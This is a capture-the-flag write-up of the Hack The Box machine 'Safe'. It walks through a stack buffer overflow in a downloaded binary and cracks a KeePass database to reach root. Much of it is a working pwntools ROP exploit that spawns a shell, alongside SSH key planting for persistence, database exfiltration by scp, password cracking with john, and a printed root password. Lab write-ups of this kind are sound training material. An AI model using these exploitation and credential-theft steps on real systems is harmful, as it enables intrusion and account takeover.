Hack The Box - Safe

Quick Summary

Hey guys, today Safe retired and here’s my write-up about it. It’s a relatively easy machine with a binary exploitation challenge to get an initial shell, then for privilege escalation you have to crack a KeePass database to get root’s password and read the flag. It’s a Linux box and its ip is 10.10.10.147, I added it to /etc/hosts as safe.htb. Let’s jump right in !

Nmap

As always we will start with nmap to scan for open ports and services:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
root@kali:~/Desktop/HTB/boxes/safe# nmap -sV -sT -sC -o nmapinitial safe.htb
Starting Nmap 7.70 ( https://nmap.org ) at 2019-10-25 16:00 EET
Nmap scan report for safe.htb (10.10.10.147)
Host is up (0.23s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey:
| 2048 6d:7c:81:3d:6a:3d:f9:5f:2e:1f:6a:97:e5:00:ba:de (RSA)
| 256 99:7e:1e:22:76:72:da:3c:c9:61:7d:74:d7:80:33:d2 (ECDSA)
|_ 256 6a:6b:c3:8e:4b:28:f7:60:85:b1:62:ff:54:bc:d8:d6 (ED25519)
80/tcp open http Apache httpd 2.4.25 ((Debian))
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Apache2 Debian Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 39.90 seconds
root@kali:~/Desktop/HTB/boxes/safe#

We got http on port 80 and ssh on port 22. Let’s check the web service.

Web Enumeration

By going to http://safe.htb we see the default apache index page:

This is one of the most annoying parts about this box because at this point anyone would start enumerating sub directories, vhosts, other ports etc… and they won’t find anything, because the thing you’re looking for is in a comment in the default apache page:

It’s saying that a program called myapp can be downloaded from there, so I downloaded it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/Desktop/HTB/boxes/safe# wget http://safe.htb/myapp
--2019-10-25 16:03:23-- http://safe.htb/myapp
Resolving safe.htb (safe.htb)... 10.10.10.147
Connecting to safe.htb (safe.htb)|10.10.10.147|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16592 (16K)
Saving to: ‘myapp’

myapp 100%[=====================================================================================================================>] 16.20K 14.3KB/s in 1.1s

2019-10-25 16:03:31 (14.3 KB/s) - ‘myapp’ saved [16592/16592]

root@kali:~/Desktop/HTB/boxes/safe# file myapp
myapp: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=fcbd5450d23673e92c8b716200762ca7d282c73a, not stripped
root@kali:~/Desktop/HTB/boxes/safe#

Let’s start analyzing it.

myapp: Analysis

The program simply asks for a string then it prints it back:

1
2
3
4
5
6
7
root@kali:~/Desktop/HTB/boxes/safe# chmod +x ./myapp
root@kali:~/Desktop/HTB/boxes/safe# ./myapp
16:04:00 up 4:17, 3 users, load average: 0.71, 0.70, 0.37

What do you want me to echo back? test
test
root@kali:~/Desktop/HTB/boxes/safe#

The comment said that the program is running on port 1337, let’s verify that:

1
2
3
4
5
6
7
8
9
root@kali:~/Desktop/HTB/boxes/safe# nc safe.htb 1337
10:05:15 up 2:20, 0 users, load average: 0.00, 0.00, 0.00
test

What do you want me to echo back? test


Ncat: Broken pipe.
root@kali:~/Desktop/HTB/boxes/safe#

Giving it a long string makes it crash so we have a buffer overflow:

1
2
3
4
5
6
7
root@kali:~/Desktop/HTB/boxes/safe# ./myapp 
16:04:10 up 4:17, 3 users, load average: 0.60, 0.68, 0.37

What do you want me to echo back? AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@kali:~/Desktop/HTB/boxes/safe#

checksec shows that NX is enabled so won’t be able to execute shellcode, we also won’t be able to do ret2libc because we don’t have libc so we need to find another way to exploit the binary:

1
2
3
4
5
6
7
8
root@kali:~/Desktop/HTB/boxes/safe# checksec myapp
[*] '/root/Desktop/HTB/boxes/safe/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE
root@kali:~/Desktop/HTB/boxes/safe#

myapp: Exploitation

Exploitation: Finding the Offset

I used a pattern to locate the offset:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
gef➤  pattern create                                                                                                                                                                                               
[+] Generating a pattern of 1024 bytes
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaa
aaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaa
acdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaade
aaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaa
aaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
[+] Saved as '$_gef0'
gef➤ r
Starting program: /root/Desktop/HTB/boxes/safe/myapp
[Detaching after vfork from child process 5416]
16:12:56 up 4:26, 4 users, load average: 0.26, 0.31, 0.30

What do you want me to echo back? aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaaw
aaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaa
aaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaa
czaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaeba
aaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaaf

Program received signal SIGSEGV, Segmentation fault.
0x00000000004011ac in main ()
[ Legend: Modified register | Code | Heap | Stack | String ]
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x0
$rcx : 0x00007ffff7ecf9240x5477fffff0003d48 ("H="?)
$rdx : 0x00007ffff7fa05800x0000000000000000
$rsp : 0x00007fffffffe218"paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]"
$rbp : 0x616161616161616f ("oaaaaaaa"?)
$rsi : 0x0000000000405260"aaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaa[...]"
$rdi : 0x0
$rip : 0x00000000004011ac → <main+77> ret
$r8 : 0x401
$r9 : 0x00007ffff7fa55000x00007ffff7fa5500 → [loop detected]
$r10 : 0x00000000004056600x0000000000000000
$r11 : 0x246
$r12 : 0x0000000000401070 → <_start+0> xor ebp, ebp
$r13 : 0x00007fffffffe2f0"raaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxa[...]"
$r14 : 0x0
$r15 : 0x0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffe218│+0x0000: "paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava[...]" ← $rsp
0x00007fffffffe220│+0x0008: "qaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawa[...]"
0x00007fffffffe228│+0x0010: "raaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxa[...]"
0x00007fffffffe230│+0x0018: "saaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaaya[...]"
0x00007fffffffe238│+0x0020: "taaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaaza[...]"
0x00007fffffffe240│+0x0028: "uaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabba[...]"
0x00007fffffffe248│+0x0030: "vaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabca[...]"
0x00007fffffffe250│+0x0038: "waaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabda[...]"
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x4011a1 <main+66> call 0x401030 <puts@plt>
0x4011a6 <main+71> mov eax, 0x0
0x4011ab <main+76> leave
0x4011ac <main+77> ret
[!] Cannot disassemble from $PC
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "myapp", stopped, reason: SIGSEGV
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x4011ac → main()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ pattern offset paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava
[+] Searching 'paaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaava'
[+] Found at offset 120 (big-endian search)
gef➤

Offset is 120 bytes which means that after 120 bytes we can overwrite rip.

Exploitation: ROP Chain

By checking the functions we will notice a function called test:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
gef➤  info functions
All defined functions:

Non-debugging symbols:
0x0000000000401000 _init
0x0000000000401030 puts@plt
0x0000000000401040 system@plt
0x0000000000401050 printf@plt
0x0000000000401060 gets@plt
0x0000000000401070 _start
0x00000000004010a0 _dl_relocate_static_pie
0x00000000004010b0 deregister_tm_clones
0x00000000004010e0 register_tm_clones
0x0000000000401120 __do_global_dtors_aux
0x0000000000401150 frame_dummy
0x0000000000401152 test
0x000000000040115f main
0x00000000004011b0 __libc_csu_init
0x0000000000401210 __libc_csu_fini
0x0000000000401214 _fini
gef➤

From the disassembly we can easily figure out what test() is doing:

1
2
3
4
5
6
7
8
9
10
11
gef➤  disass test
Dump of assembler code for function test:
0x0000000000401152 <+0>: push rbp
0x0000000000401153 <+1>: mov rbp,rsp
0x0000000000401156 <+4>: mov rdi,rsp
0x0000000000401159 <+7>: jmp r13
0x000000000040115c <+10>: nop
0x000000000040115d <+11>: pop rbp
0x000000000040115e <+12>: ret
End of assembler dump.
gef➤

Simply what will happen when we call this function is that whatever is present in rbp will end up in rdi:

1
2
3
push   rbp
mov rbp,rsp
mov rdi,rsp

Then there’s a jump instruction that jumps to the address that the register r13 holds:

1
jmp    r13

To be benefit from this function we need to be able to control r13 and rbp, by controlling r13 we can make the program jump to any function of our choice (in this case we need system()), and by controlling rbp we control the parameter (in this case /bin/sh) that will be passed to that function (because it will end up in rdi and the function will take its parameter from rdi)
rbp:
We found the offset which was 120 bytes, after that we can overwrite rip, but 8 bytes before that we can overwrite rbp,
r13:
By looking at the rop gadgets we’ll see a gadget that pops r13, r14, r15 then returns:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/safe# ropper --file myapp
---
0x0000000000401206: pop r13; pop r14; pop r15; ret;
---

We can use that gadget to put the address of system() in r13 then we can put anything in r14 and r15
Now we have all the pieces, let’s write the exploit.
First thing is to load the binary in the script and load the rop gadgets:

1
2
elf = ELF("./myapp")
rop = ROP(elf)

We need the addresses for pop r13, r14, r15, ret gadget, test() and system() so let’s get them:

1
2
3
POP_R13_R14_R15 = (rop.find_gadget(['pop r13', 'pop r14', 'pop r15', 'ret']))[0]
TEST = elf.symbols['test']
SYSTEM = elf.plt['system']

Then we can construct the payload which will be: 112 A’s to reach rbp + /bin/bash\x00 (will be put in rbp) + pop r13, r14, r15, ret + system() (will be put in r13) + 16 A’s (to fill r14 and r15) + test():

1
2
3
4
5
6
7
payload = ""
payload += "A" * 112
payload += "/bin/sh\x00"
payload += p64(POP_R13_R14_R15)
payload += p64(SYSTEM)
payload += "A" * 16
payload += p64(TEST)

Finally we can connect and send the payload:

1
2
3
4
p = remote("safe.htb",1337)
p.sendline(payload)
p.sendline("\n")
p.interactive()

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/python
from pwn import *

elf = ELF("./myapp")
rop = ROP(elf)

POP_R13_R14_R15 = (rop.find_gadget(['pop r13', 'pop r14', 'pop r15', 'ret']))[0]
TEST = elf.symbols['test']
SYSTEM = elf.plt['system']

payload = ""
payload += "A" * 112
payload += "/bin/sh\x00"
payload += p64(POP_R13_R14_R15)
payload += p64(SYSTEM)
payload += "A" * 16
payload += p64(TEST)

log.info("pop r13, r14, r15 gadget: " + hex(POP_R13_R14_R15))
log.info("test: " + hex(TEST))
log.info("system: " + hex(SYSTEM))

p = remote("safe.htb",1337)
p.sendline(payload)
p.sendline("\n")
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
root@kali:~/Desktop/HTB/boxes/safe# ./exploit.py 
[*] '/root/Desktop/HTB/boxes/safe/myapp'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded cached gadgets for './myapp'
[*] pop r13, r14, r15 gadget: 0x401206
[*] test: 0x401152
[*] system: 0x401040
[+] Opening connection to safe.htb on port 1337: Done
[*] Switching to interactive mode
10:34:34 up 2:49, 0 users, load average: 0.21, 0.21, 0.10
$ whoami
user
$ pwd
/
$ ls -la /home
total 12
drwxr-xr-x 3 root root 4096 May 13 08:34 .
drwxr-xr-x 22 root root 4096 May 13 08:32 ..
drwxr-xr-x 3 user user 4096 May 13 11:18 user


We owned user.

Cracking the KeePass Database –> Root Shell

After getting a shell we can echo our public key to /home/user/.ssh/authorized_keys and get ssh:

1
2
$ cd /home/user
$ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGEUzu7cGthWtPNXM5/rAvPBywgyh68AEpSyUBXm24kByXu+GhEmvAiVlkAhasBgTjiCbpup3dmzz54ADlo4T2jUWoVVEDOw82eKQ6EoqpYnHGVmpDmJ1n7+eCvb3ut0bl5VOnTkhYSWS8G9V6V+E/VmDun63HoHCHzvtBlbN/ZmhRKxdwNFSYN/NswU8MFK+MVXxa/FJUxrOJVAnefXQdfDBxIt4j/qqMr68u9lQfqOX5shmS0M55lFNAY2mR6INBQtT6AnAWremPCHdUHxU3eSvzUcItaamecSPTfDgMQDQkxXrrsKQLkJeCKZ/1EwDBXIF3RGCeNGq0hCYHSF8d root@kali" > .ssh/authorized_keys$
1
2
3
4
5
6
7
8
9
10
root@kali:~/Desktop/HTB/boxes/safe# ssh -i id_rsa user@safe.htb
Linux safe 4.9.0-9-amd64 #1 SMP Debian 4.9.168-1 (2019-04-12) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
user@safe:~$

In the home directory of the user there was a keepass database and 6 images, one of them is the key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
user@safe:~$ ls -la
total 11284
drwxr-xr-x 3 user user 4096 May 13 11:18 .
drwxr-xr-x 3 root root 4096 May 13 08:34 ..
lrwxrwxrwx 1 user user 9 May 13 08:38 .bash_history -> /dev/null
-rw-r--r-- 1 user user 220 May 13 08:34 .bash_logout
-rw-r--r-- 1 user user 3526 May 13 08:34 .bashrc
-rw-r--r-- 1 user user 1907614 May 13 11:15 IMG_0545.JPG
-rw-r--r-- 1 user user 1916770 May 13 11:15 IMG_0546.JPG
-rw-r--r-- 1 user user 2529361 May 13 11:15 IMG_0547.JPG
-rw-r--r-- 1 user user 2926644 May 13 11:15 IMG_0548.JPG
-rw-r--r-- 1 user user 1125421 May 13 11:15 IMG_0552.JPG
-rw-r--r-- 1 user user 1085878 May 13 11:15 IMG_0553.JPG
-rwxr-xr-x 1 user user 16592 May 13 08:47 myapp
-rw-r--r-- 1 user user 2446 May 13 11:15 MyPasswords.kdbx
-rw-r--r-- 1 user user 675 May 13 08:34 .profile
drwx------ 2 user user 4096 Oct 25 10:37 .ssh
-rw------- 1 user user 33 May 13 09:25 user.txt
user@safe:~$

I downloaded the database and the images using scp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/MyPasswords.kdbx ./
MyPasswords.kdbx 100% 2446 14.8KB/s 00:00
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/IMG_0545.JPG ./
IMG_0545.JPG 100% 1863KB 112.2KB/s 00:16
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/IMG_0546.JPG ./
IMG_0546.JPG 100% 1872KB 149.8KB/s 00:12
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/IMG_0547.JPG ./
IMG_0547.JPG 100% 2470KB 98.6KB/s 00:25
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/IMG_0548.JPG ./
IMG_0548.JPG 100% 2858KB 167.4KB/s 00:17
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/IMG_0552.JPG ./
IMG_0552.JPG 100% 1099KB 210.1KB/s 00:05
root@kali:~/Desktop/HTB/boxes/safe# scp -i ./id_rsa user@safe.htb:/home/user/IMG_0553.JPG ./
IMG_0553.JPG 100% 1060KB 161.0KB/s 00:06
root@kali:~/Desktop/HTB/boxes/safe#

Similar to what we did in BigHead we’ll use an image as a key and use keepass2john then crack the database. The only difference is that we’ll need to try 6 images to find the right one.
After some attempts, the right image was IMG_0547.JPG and instead of using full rockyou.txt I used rockyou-70.txt and it had the password (bullshit):

1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~/Desktop/HTB/boxes/safe# keepass2john -k IMG_0547.JPG ./MyPasswords.kdbx > hash.txt
root@kali:~/Desktop/HTB/boxes/safe# john --wordlist=./rockyou-70.txt ./hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES, 1=TwoFish, 2=ChaCha]) is 0 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
bullshit (MyPasswords)
1g 0:00:00:18 DONE (2019-10-25 16:44) 0.05440g/s 54.84p/s 54.84c/s 54.84C/s bullshit
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@kali:~/Desktop/HTB/boxes/safe#

Let’s open the database:


Root’s password was there so I copied it then I used it to su:

1
2
3
4
root@kali:~/Desktop/HTB/boxes/safe# nano root_password.txt
root@kali:~/Desktop/HTB/boxes/safe# cat root_password.txt
u3v2249dl9ptv465cogl3cnpo3fyhk
root@kali:~/Desktop/HTB/boxes/safe#
1
2
3
4
5
6
7
user@safe:~$ su
Password:
root@safe:/home/user# whoami
root
root@safe:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@safe:/home/user#


And we owned root !
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter @Ahm3d_H3sham
Thanks for reading.

Previous Hack The Box write-up : Hack The Box - Ellingson
Next Hack The Box write-up : Hack The Box - Haystack